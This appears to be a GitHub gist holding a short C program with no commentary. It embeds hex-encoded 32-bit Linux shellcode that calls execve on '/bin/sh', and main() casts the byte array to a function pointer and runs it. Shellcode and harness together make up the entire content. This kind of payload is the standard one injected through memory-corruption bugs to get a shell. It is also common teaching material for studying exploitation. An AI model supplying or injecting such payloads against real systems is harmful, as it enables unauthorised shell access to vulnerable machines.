Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
char shellcode[] = "\xeb\x14\x5e\x31\xc0\x88\x46\x07\xb0\x0b\x89\xf3\x31\xc9\x31\xd2\xcd\x80\xb0\x01\xcd\x80\xe8\xe7\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" ;
void main(){
void (*fp) (void);
fp = (void *)&shellcode;
fp();
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.